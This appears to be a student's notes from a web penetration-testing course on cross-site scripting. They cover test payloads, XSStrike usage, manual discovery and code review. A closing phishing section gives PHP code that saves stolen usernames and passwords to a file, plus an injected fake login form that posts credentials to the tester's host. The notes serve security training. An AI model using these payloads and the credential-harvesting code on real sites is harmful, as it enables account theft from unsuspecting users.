Cross-Site Scripting (XSS)

XSS Testing Payloads

<script>alert(window.origin)</script>

Many modern web applications utilize cross-domain IFrames to handle user input, so that even if the web form is vulnerable to XSS, it would not be a vulnerability on the main web application. This is why we are showing the value of window.origin in the alert box, instead of a static value like 1. In this case, the alert box would reveal the URL it is being executed on, and will confirm which form is the vulnerable one, in case an IFrame was being used.

As some modern browsers may block the alert() JavaScript function in specific locations, it may be handy to know a few other basic XSS payloads to verify the existence of XSS. One such XSS payload is <plaintext>, which will stop rendering the HTML code that comes after it and display it as plaintext. Another easy-to-spot payload is <script>print()</script> that will pop up the browser print dialog, which is unlikely to be blocked by any browsers. Try using these payloads to see how each works. You may use the reset button to remove any current payloads.

DOM Attacks

If we try the XSS payload we have been using previously, we will see that it will not execute. This is because the innerHTML function does not allow the use of the <script> tags within it as a security feature. Still, there are many other XSS payloads we use that do not contain <script> tags, like the following XSS payload:

<img src="" onerror=alert(window.origin)>

Automated Discovery

Almost all Web Application Vulnerability Scanners (like Nessus, Burp Pro, or ZAP) have various capabilities for detecting all three types of XSS vulnerabilities. These scanners usually do two types of scanning: A Passive Scan, which reviews client-side code for potential DOM-based vulnerabilities, and an Active Scan, which sends various types of payloads to attempt to trigger an XSS through payload injection in the page source.

While paid tools usually have a higher level of accuracy in detecting XSS vulnerabilities (especially when security bypasses are required), we can still find open-source tools that can assist us in identifying potential XSS vulnerabilities. Such tools usually work by identifying input fields in web pages, sending various types of XSS payloads, and then comparing the rendered page source to see if the same payload can be found in it, which may indicate a successful XSS injection. Still, this will not always be accurate, as sometimes, even if the same payload was injected, it might not lead to a successful execution due to various reasons, so we must always manually verify the XSS injection.

Some of the common open-source tools that can assist us in XSS discovery are XSS Strike, Brute XSS, and XSSer. We can try XSS Strike by cloning it to our VM with git clone:

git clone https://github.com/s0md3v/XSStrike.git
cd XSStrike
pip install -r requirements.txt
python xsstrike.py

python xsstrike.py -u "http://SERVER_IP:PORT/index.php?task=test"

Manual Discovery

XSS Payloads

The most basic method of looking for XSS vulnerabilities is manually testing various XSS payloads against an input field in a given web page. We can find huge lists of XSS payloads online, like the one on PayloadAllTheThings or the one in PayloadBox. We can then begin testing these payloads one by one by copying each one and adding it in our form, and seeing whether an alert box pops up.

XSS can be injected into any input in the HTML page, which is not exclusive to HTML input fields, but may also be in HTTP headers like the Cookie or User-Agent (i.e., when their values are displayed on the page).

Code Review

The most reliable method of detecting XSS vulnerabilities is manual code review, which should cover both back-end and front-end code. If we understand precisely how our input is being handled all the way until it reaches the web browser, we can write a custom payload that should work with high confidence.

In the previous section, we looked at a basic example of HTML code review when discussing the Source and Sink for DOM-based XSS vulnerabilities. This gave us a quick look at how front-end code review works in identifying XSS vulnerabilities, although on a very basic front-end example.

We are unlikely to find any XSS vulnerabilities through payload lists or XSS tools for the more common web applications. This is because the developers of such web applications likely run their application through vulnerability assessment tools and then patch any identified vulnerabilities before release. For such cases, manual code review may reveal undetected XSS vulnerabilities, which may survive public releases of common web applications. These are also advanced techniques that are out of the scope of this module. Still, if you are interested in learning them, the Secure Coding 101: JavaScript and the Whitebox Pentesting 101: Command Injection modules thoroughly cover this topic.

Phishing

PHP code to save creds stolen from an XSS phishing attack:

<?php
if (isset($_GET['username']) && isset($_GET['password'])) {
    $file = fopen("creds.txt", "a+");
    fputs($file, "Username: {$_GET['username']} | Password: {$_GET['password']}\n");
    header("Location: http://SERVER_IP/phishing/index.php");
    fclose($file);
    exit();
}
?>

sudo php -S 0.0.0.0:80

Example Phishing payload:

document.write('<h3>Please login to continue</h3><form action=http://OUR_IP><input type="username" name="username" placeholder="Username"><input type="password" name="password" placeholder="Password"><input type="submit" name="submit" value="Login"></form>');document.getElementById('urlform').remove();